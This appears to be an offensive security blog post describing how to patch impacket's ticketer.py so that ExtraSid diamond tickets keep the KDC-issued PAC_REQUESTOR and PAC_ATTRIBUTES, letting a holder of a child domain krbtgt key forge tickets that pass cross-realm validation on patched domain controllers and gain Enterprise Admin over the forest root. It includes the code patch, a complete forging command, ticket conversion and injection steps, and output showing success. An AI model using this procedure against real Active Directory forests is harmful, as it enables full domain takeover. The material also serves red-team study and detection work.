ExtraSid Diamond Ticket: Patching Impacket for Fully Patched KDCs
You hold a child domain krbtgt key and you want forest root. The plan is an ExtraSid diamond ticket with the Enterprise Admins SID, then chase the referral to the root DC. On a fully patched forest it dies. The KDC returns 0x520 and your TGT gets purged from the cache.
The cause is impacket, not the trust. Here is the fix.
Full source, patched ticketer.py and inject.ps1, is on GitHub: 0xCZR1/Diamond-Ticket---Impacket-fix.
The bug¶
On a patched KDC (KB5020009) the KDC checks the PAC_REQUESTOR in your TGT during the cross realm referral. Stock ticketer.py in diamond mode (-request) asks the KDC for a real TGT, then throws away the KDC issued PAC and builds a fresh one. The new PAC has no PAC_REQUESTOR, so the referral is rejected and the ticket is destroyed.
You can see it in the ticketer output. It only builds these.
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
No PAC_REQUESTOR (type 18), no PAC_ATTRIBUTES (type 17).
Intra realm works because the child KDC re-signs the PAC with the krbtgt key you already hold, so your forgery is self consistent. Cross realm does not, because the root side validates PAC_REQUESTOR. This is not SID filtering. The tell is 0x520 plus the TGT vanishing from klist.
The fix¶
Request a real TGT, decrypt it with the krbtgt key, keep the original PAC_REQUESTOR and PAC_ATTRIBUTES, then rebuild the rest of the PAC with your ExtraSid. The patch adds _extractOriginalPacFields() and, after createBasicPac(), overwrites the fabricated entries with the real ones.
if self.__options.request is True and not self.__options.impersonate:
originalPacFields = self._extractOriginalPacFields(kdcRep)
if PAC_REQUESTOR_INFO in originalPacFields:
pacInfos[PAC_REQUESTOR_INFO] = originalPacFields[PAC_REQUESTOR_INFO]
if PAC_ATTRIBUTES_INFO in originalPacFields:
pacInfos[PAC_ATTRIBUTES_INFO] = originalPacFields[PAC_ATTRIBUTES_INFO]
The sapphire path (-impersonate) already preserved PAC_REQUESTOR from the S4U2Self PAC. Only the diamond path (-request) was broken.
Forge the ticket¶
ticketer.py -request -domain child.corp.local \
-domain-sid S-1-5-21-1111111111-1111111111-1111111111 \
-user 'SCCM-SITE01$' -hashes ':<MACHINE_NTHASH>' \
-nthash '<CHILD_KRBTGT_NTHASH>' \
-aesKey '<CHILD_KRBTGT_AES256>' \
-extra-sid S-1-5-21-2222222222-2222222222-2222222222-519 \
-dc-ip 10.10.10.2 \
'SCCM-SITE01$'
Three keys, do not mix them up. This is what cost me the most time.
-hashesis the machine account NT hash. It pre-auths you to the KDC.-nthashis the child krbtgt NT hash. It re-signs the PAC.-aesKeyis the child krbtgt AES256. It decrypts and re-encrypts the ticket.
Now the output keeps the real fields.
[*] Requesting TGT to target domain to use as basis
[*] Preserved original PAC_ATTRIBUTES from KDC
[*] Preserved original PAC_REQUESTOR from KDC
Inject and chase the referral¶
Convert to kirbi, drop it on a child joined box, and inject with LsaRegisterLogonProcess. That needs SYSTEM. LsaConnectUntrusted silently drops TGT submissions, so it must be LsaRegisterLogonProcess. Then let Windows follow the referral natively. The injector is inject.ps1 in the repo.
ticketConverter.py SCCM-SITE01\$.ccache diamond.kirbi
Result is a full AES-256 chain to the forest root, no RC4 anywhere.
A ticket to cifs/ROOT-DC02.corp.local has been retrieved successfully.
#2> Client: SCCM-SITE01$ @ CHILD.CORP.LOCAL
Server: cifs/ROOT-DC02.corp.local @ CORP.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Kdc Called: ROOT-DC02.corp.local
From here C$ on the root DC lists, and you have Enterprise Admin reach across the forest.
Notes¶
- Intra realm golden tickets still work fine. This only bites on the cross realm referral.
0x520with the TGT disappearing fromklistmeansPAC_REQUESTORvalidation, not SID filtering. Do not waste time on the trust key.- The patched
ticketer.pyand the PowerShell injector are both in the repo. The full chain after this, shadow credential on the root DC then PKINIT then DCSync, is a separate write up.